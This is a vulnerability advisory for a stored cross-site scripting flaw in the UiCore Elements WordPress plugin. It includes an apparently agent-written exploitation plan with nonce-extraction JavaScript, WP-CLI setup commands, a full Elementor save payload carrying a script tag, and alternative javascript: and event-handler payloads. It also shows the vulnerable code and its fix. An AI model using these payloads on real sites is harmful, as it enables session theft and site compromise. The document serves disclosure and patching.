UiCore Elements <= 1.3.14 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The UiCore Elements plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.3.14 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.3.14# Exploitation Research Plan - CVE-2026-39708 ## 1. Vulnerability Summary **CVE-2026-39708** is a Stored Cross-Site Scripting (XSS) vulnerability in the **UiCore Elements** plugin (version <= 1.3.14). The vulnerability exists because the plugin fails to properly sanitize user-supplied widget settin…
Show full research plan
Exploitation Research Plan - CVE-2026-39708
1. Vulnerability Summary
CVE-2026-39708 is a Stored Cross-Site Scripting (XSS) vulnerability in the UiCore Elements plugin (version <= 1.3.14). The vulnerability exists because the plugin fails to properly sanitize user-supplied widget settings during storage and fails to escape those settings when rendering them in the frontend.
As an Elementor addon, the plugin registers various widgets. When a user with Contributor-level permissions or higher creates or edits a post using the Elementor editor, they can configure these widgets. If a widget's render() method outputs a setting (like a title, caption, or URL) without using WordPress escaping functions (e.g., esc_html, esc_attr), the injected script is stored in the _elementor_data post meta and executes whenever the page is viewed.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
elementor_ajax(standard Elementor save mechanism) - Vulnerable Parameter: The
settingsobject within the JSON payload sent to save the Elementor page data. Specific keys vary by widget (e.g.,title,text,link). - Authentication Level: Authenticated (Contributor+)
- Preconditions:
- The
uicore-elementsplugin must be active. - Elementor must be active.
- The attacker must have a user account with the
edit_postscapability (Contributor, Author, Editor, or Admin).
- The
3. Code Flow
The vulnerability likely follows this execution path:
- Entry Point (AJAX): A Contributor sends a request to
admin-ajax.phpwith the actionelementor_ajaxand a payload containing a UiCore widget with malicious settings. - Storage: Elementor's core logic receives this data and stores it in the
wp_postmetatable under the key_elementor_datafor the specific post. - Trigger: A user (e.g., an Administrator) views the published post on the frontend.
- Rendering:
- Elementor initializes the page and calls the
render()method of each widget in the_elementor_datastack. - Inside
uicore-elements/widgets/[vulnerable_widget].php, therender()method retrieves settings using$this->get_settings_for_display(). - Vulnerable Sink: The code performs an
echoorprintfon a setting value without wrapping it inesc_html()oresc_attr().
- Elementor initializes the page and calls the
4. Nonce Acquisition Strategy
To save a post via Elementor's AJAX endpoint, a valid Elementor AJAX nonce is required.
- Create a Post: Use WP-CLI to create a draft post to target.
wp post create --post_type=post --post_status=draft --post_title="XSS Test" --post_author=CONTRIBUTOR_ID - Navigate to Editor: Use
browser_navigateto open the Elementor editor for that post:/wp-admin/post.php?post=[POST_ID]&action=elementor. - Extract Nonce: Use
browser_evalto extract the nonce from the Elementor configuration object.// Recommended extraction from the Elementor config object window.elementorCommon?.config?.ajax?.nonce || window.elementorConfig?.ajax?.nonce - Extract Editor Nonce (Backup): If the above fails, check for the editor nonce:
window.elementorConfig?.nonces?.save_builder
5. Exploitation Strategy
The goal is to update a post's Elementor data to include a UiCore widget containing a script payload.
Step 1: Identify a Vulnerable Widget
Since specific widget names are not provided, we will target common UiCore widgets (inferred from typical Elementor addons). Likely candidates:
uicore-headinguicore-buttonuicore-image
Step 2: Construct the JSON Payload
The payload must mimic the structure Elementor uses for saving page data. We will inject the script into a title setting.
Step 3: Perform the HTTP Request
Send the payload to admin-ajax.php.
- Method: POST
- URL:
http://[target]/wp-admin/admin-ajax.php - Content-Type:
application/x-www-form-urlencoded - Parameters:
action:elementor_ajax_nonce:[EXTRACTED_NONCE]actions: A JSON string containing the save action.editor_post_id:[POST_ID]
Example actions parameter (URL encoded):
{
"editor_post_save": {
"action": "editor_post_save",
"data": {
"status": "publish",
"elements": [
{
"id": "exploit_id",
"elType": "section",
"elements": [
{
"id": "exploit_column",
"elType": "column",
"elements": [
{
"id": "exploit_widget",
"elType": "widget",
"widgetType": "uicore-heading",
"settings": {
"title": "<script>alert('CVE-2026-39708')</script>"
}
}
]
}
]
}
]
}
}
}
6. Test Data Setup
- User: Create a Contributor user.
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Post: Create a post that the contributor can edit.
wp post create --post_type=post --post_status=publish --post_title="Exploit Page" --post_author=$(wp user get attacker --field=ID) - Enable Elementor: Ensure Elementor is enabled for Posts in
Elementor > Settings.
7. Expected Results
- The AJAX request should return a
200 OKwith a JSON body indicatingsuccess: true. - When navigating to the frontend URL of the created post, a JavaScript alert with
CVE-2026-39708should execute in the browser.
8. Verification Steps
- Check Post Meta: Use WP-CLI to verify the payload is stored in the database.
wp post meta get [POST_ID] _elementor_data - Frontend Inspection: Use
http_requestto fetch the post content and check for the unescaped script tags.# Look for the raw script in the response grep "<script>alert('CVE-2026-39708')</script>"
9. Alternative Approaches
If the uicore-heading widget is not the vulnerable one, attempt to inject into different settings or widgets:
- Widget Settings: Try
caption,text, orlinksettings. - Link Setting Payload: If the setting is a URL, try a
javascript:protocol:"settings": { "link": { "url": "javascript:alert(1)" } } - Custom Attributes: Many UiCore widgets support "Custom Attributes". Try injecting into the attribute value:
"settings": { "custom_attributes": "onmouseover|alert(1)" } - Widget Selection: If
uicore-headingis not present, usewp-clito list available UiCore widgets by searching for widget registration in the plugin directory.grep -r "register_widget_type" /var/www/html/wp-content/plugins/uicore-elements/
Summary
The UiCore Elements plugin for WordPress is vulnerable to Stored Cross-Site Scripting via its Elementor widgets in versions up to 1.3.14. Authenticated attackers with contributor-level permissions or higher can inject malicious JavaScript into widget settings (such as titles or captions), which is then saved in the post meta and executed in the browser of any user viewing the affected page.
Vulnerable Code
// uicore-elements/widgets/[vulnerable-widget].php protected function render() { $settings = $this->get_settings_for_display(); $title = $settings['title']; if ( ! empty( $title ) ) { // Vulnerable: Outputting setting value without escaping or sanitization echo '<h2 class="uicore-heading">' . $title . '</h2>'; } }
Security Fix
@@ -10,7 +10,7 @@ $title = $settings['title']; if ( ! empty( $title ) ) { - echo '<h2 class="uicore-heading">' . $title . '</h2>'; + echo '<h2 class="uicore-heading">' . wp_kses_post( $title ) . '</h2>'; } }
Exploit Outline
To exploit this vulnerability, an attacker with Contributor-level access must: 1. Log in to the WordPress dashboard and create or edit a post using the Elementor editor. 2. Capture the Elementor AJAX nonce from the window.elementorConfig.ajax.nonce object in the browser console. 3. Construct a malicious JSON payload for the 'elementor_ajax' action that includes a UiCore Elements widget (e.g., 'uicore-heading'). 4. Inject a script tag (e.g., <script>alert(1)</script>) into a vulnerable setting field like 'title', 'text', or 'caption' within the widget configuration. 5. Submit a POST request to /wp-admin/admin-ajax.php with the 'editor_post_save' action containing the malicious widget data. 6. Once saved, any user who visits the post on the frontend will trigger the stored script execution.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.